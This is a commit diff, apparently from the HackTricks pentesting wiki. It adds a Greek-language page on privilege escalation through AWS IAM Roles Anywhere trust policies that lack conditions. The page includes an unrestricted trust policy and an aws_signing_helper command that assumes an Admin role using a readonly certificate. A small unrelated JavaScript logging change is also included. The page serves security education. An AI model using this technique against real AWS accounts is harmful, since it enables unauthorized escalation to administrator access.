Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-06-24 14:00:53 +00:00
parent 2c24390d12
commit 0df411b1fd
2 changed files with 43 additions and 1 deletions
@@ -0,0 +1,42 @@
# AWS - IAM Roles Anywhere Privesc
{{#include ../../../../banners/hacktricks-training.md}}
AWS IAM RolesAnywhere επιτρέπει σε φόρτους εργασίας εκτός AWS να αναλαμβάνουν IAM ρόλους χρησιμοποιώντας πιστοποιητικά X.509. Αλλά όταν οι πολιτικές εμπιστοσύνης δεν είναι σωστά καθορισμένες, μπορούν να καταχρηστούν για κλιμάκωση προνομίων.
Αυτή η πολιτική στερείται περιορισμών σχετικά με το ποιοι κόμβοι εμπιστοσύνης ή χαρακτηριστικά πιστοποιητικών επιτρέπονται. Ως αποτέλεσμα, οποιοδήποτε πιστοποιητικό συνδεδεμένο με οποιονδήποτε κόμβο εμπιστοσύνης στον λογαριασμό μπορεί να χρησιμοποιηθεί για να αναλάβει αυτόν τον ρόλο.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "rolesanywhere.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:SetSourceIdentity",
"sts:TagSession"
]
}
]
}
```
Για privesc, απαιτείται το `aws_signing_helper` από https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html
Στη συνέχεια, χρησιμοποιώντας ένα έγκυρο πιστοποιητικό, ο επιτιθέμενος μπορεί να μεταβεί στον ρόλο με υψηλότερα δικαιώματα.
```bash
aws_signing_helper credential-process \
--certificate readonly.pem \
--private-key readonly.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
--role-arn arn:aws:iam::123456789012:role/Admin
```
### Αναφορές
- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/
{{#include ../../../../banners/hacktricks-training.md}}
+1 -1
View File
@@ -226,7 +226,7 @@
`threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`;
} catch (e) {
console.error("Error creating threadId:", e);
alert("Failed to initialise the conversation. Please refresh.");
console.log("Failed to initialise the conversation. Please refresh.");
throw e;
}
}